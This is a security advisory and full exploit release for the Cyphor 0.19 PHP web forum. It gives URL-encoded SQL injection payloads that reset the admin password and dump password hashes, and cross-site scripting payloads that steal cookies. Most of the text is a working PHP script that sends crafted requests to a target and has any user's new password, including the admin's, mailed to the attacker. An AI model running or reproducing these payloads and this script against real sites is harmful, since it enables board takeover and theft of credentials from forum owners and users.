Cyphor 0.19 SQL Injection / Board takeover / cross site scripting

software:
site: http://www.cynox.ch/cyphor/
description:  Cyphor is a fast PHP4 + MySQL thread-based webforum

1)if magic quotes off -> SQL Injection:
by "Forgot your password?" feature you can send yourself a new admin password and reset it, poc:

email: [your_email]
nick: 'or'X'='X

soon, you will receive an email like this:

You have registered for a Cyphor forum (My Discussions). This is your confirmation.

Your username is: 'or'X'='X
Your password is: mixa-13b

now you can go to Administration panel, create/edit/delete forums/group/users,
you can insert evil javascript code in terms of usage or welcome message

2) SQL Injection II:
to see table_prefix (usually "cyphor_")
http://[target]/cyphor/newmsg.php?fid='

now you can see at screen admin password hash by this url:
http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20nick,%20password,%20null,%20null%20FROM%20[table_prefix]users%20/*

(it is encrypted by cript() function with username as key, one way...but can try to bruteforce it)

3) xss (you can sql inject a javascript, it is showned at screen...):
http://[target]/[path]/newmsg.php?fid=''%20UNION%20SELECT%20null,%20"<script>alert(document.cookie)</script>",%20null,%20null/*

4) xss II:
http://[target]/[path]/include/footer.php?t_login=<script>alert(document.cookie)</script>
mphhh... you see clear text password as I see? ;)

and so on... a lot of uninitialized vars showned at screen in footer.php...


this is my proof of concept exploit, with this you can have a new password for any user/admin:

<?php
#   --- cyphor019_xpl.php                                   7.36 08/10/2005    #
#                                                                              #
#   Cyphor 0.19 ( possibly prior versions) SQL injection / board takeover      #
#                                                                              #
#                                by rgod                                       #
#                      site: http://rgod.altervista.org                        #
#                                                                              #
#   make these changes in php.ini if you have troubles                         #
#   to launch this script:                                                     #
#   allow_call_time_pass_reference = on                                        #
#   register_globals = on                                                      #
#                                                                              #
#   usage: launch this script from Apache, fill requested fields, then         #
#   send yourself any user / admin password right now!                         #
#                                                                              #
#   Sun Tzu: "There are five ways of attacking with fire. The first is to burn #
#   soldiers in their camp; the second is to burn stores; the third is to burn #
#   baggage trains; the fourth is to burn arsenals and magazines; the fifth is #
#   to hurl dropping fire amongst the opponent."                               #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo'<html><head><title>Cyphor 0.19  SQL Injection/board takeover  </title><meta
http-equiv="Content-Type"   content="text/html;  charset=iso-8859-1">     <style
type="text/css"> body {	background-color:#111111; SCROLLBAR-ARROW-COLOR:#ffffff;
SCROLLBAR-BASE-COLOR: black;    CURSOR: crosshair;    color:   #1CB081; }    img
{background-color:   #FFFFFF   !important}  input  {background-color:   #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #1CBr81; } a:hover{text-decoration: underline;
color : #1CB081; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
Cyphor 0.19 (possibly prior versions) SQL injection / board takeover      </p><p
class="Stile6"> a  script  by rgod  at  <a     href="http://rgod.altervista.org"
target="_blank"> http://rgod.altervista.org</a></p> <table width="84%"><tr>  <td
width="43%"><form name="form1" method="post" action="'.$SERVER[PHP_SELF].'?path=
value&host=value&port=value&username=value&proxy=value&your_email=value">    <p>
<input type="text" name="host"><span class="Stile5"> hostname (ex: www.sitename.
com)</span></p><p><input type="text" name="path"><span class="Stile5"> path (ex:
/cyphor/ or /forum/ or just /)</span></p><p><input type="text" name="port"><span
class="Stile5"> specify a port other than 80 (default value)</span></p><p><input
type="text" name="username"><span class="Stile5">user whom you want the password
,admin? ;)   </span>   </p>   <p>     <input type="text" name="your_email"><span
class="Stile5"> email where the password will be sent</span>  </p>  <p>   <input
type="text" name="proxy"><span class="Stile5"> send exploit through an HTTP prox
y (ip:port)    </span></p><p><input type="submit" name="Submit" value="go!"></p>
</form></td></tr></table></body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket($packet)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
           {$ock=fsockopen(gethostbyname($host),$port);
            if (!$ock) { echo 'No response from '.htmlentities($host).'...';
			die;
		       }}

             else
           {
	    if (!eregi($proxy_regex,$proxy))
	    {echo htmlentities($proxy).' -> not a valid proxy...';
	     die;
	    }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

define('EMAIL_PREG', '#^[a-z0-9&\-_.\+]+?@[\w\-]+\.([\w\-\.]+\.)?[\w]+$#');
define('USER_PREG', '#^[A-Za-z0-9_\-]+$#');

if (($path<>'') and ($host<>'') and ($your_email<>'') and ($username<>''))
{
if (!preg_match(EMAIL_PREG, $your_email)) {echo '<br>Need a valid email...'; die;}
if (!preg_match(USER_PREG, $username)) {echo '<br>Need a valid username...'; die;}
  if ($port=='') {$port=80;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

#STEP 1 -> retrieve the table prefix...
$packet="GET ".$p."show.php?fid=' HTTP/1.0 \r\n";
$packet.="User-Agent: GetRight/4.5xx\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacket($packet);

$temp=explode("SELECT * FROM ",$html);
$temp2=explode("forums WHERE",$temp[1]);
$table_prefix=trim($temp2[0]);

echo '<br> Table prefix ->'.htmlentities($table_prefix);
if ($table_prefix=='') {echo 'Exploit failed...'; die;}

#STEP 2 -> send yourself a new password...
$sql="') UNION SELECT * FROM ".$table_prefix."users WHERE nick='".$username."'/*";
$sql=urlencode($sql);
$data="email=".urlencode($your_email)."&nick=".$sql."&submit=Submit";
$packet="POST ".$p."lostpwd.php HTTP/1.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.":".$port.$path."lostpwd.php\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Internet Ninja x.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;
show($packet);
sendpacket($packet);
if (eregi("New password sent.",$html)) {echo '<br>Exploit successful...check your email box...';}
				else   {echo '<br>Exploit failed...';}
}
else
{ echo 'Fill in requested fields, optionally specify a proxy...'; }
?>

rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/cyphor019.html